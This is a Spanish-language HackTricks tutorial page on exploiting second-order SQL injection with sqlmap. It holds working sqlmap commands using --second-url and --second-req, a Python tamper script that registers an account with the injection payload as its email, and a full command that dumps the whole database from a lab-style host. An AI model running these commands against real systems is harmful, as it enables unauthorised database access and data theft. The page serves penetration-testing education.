Second Order Injection - SQLMap

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

SQLMap puede explotar Segundos Orden SQLis. Necesitas proporcionar:

  • La solicitud donde se va a guardar el payload de sqlinjection

  • La solicitud donde el payload será ejecutado

La solicitud donde se guarda el payload de inyección SQL se indica como en cualquier otra inyección en sqlmap. La solicitud donde sqlmap puede leer la salida/ejecución de la inyección se puede indicar con --second-url o con --second-req si necesitas indicar una solicitud completa desde un archivo.

Ejemplo simple de segundo orden:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

En varios casos esto no será suficiente porque necesitarás realizar otras acciones además de enviar la carga útil y acceder a una página diferente.

Cuando sea necesario, puedes usar un modificador de sqlmap. Por ejemplo, el siguiente script registrará un nuevo usuario utilizando la carga útil de sqlmap como correo electrónico y cerrará la sesión.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con una carga útil y debe devolver una carga útil. En este caso, no nos importa la carga útil, pero nos importa enviar algunas solicitudes, por lo que la carga útil no se cambia.

Entonces, si por alguna razón necesitamos un flujo más complejo para explotar la inyección SQL de segundo orden como:

  • Crear una cuenta con la carga útil de SQLi dentro del campo "email"

  • Cerrar sesión

  • Iniciar sesión con esa cuenta (login.txt)

  • Enviar una solicitud para ejecutar la inyección SQL (second.txt)

Esta línea de sqlmap ayudará:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Última actualización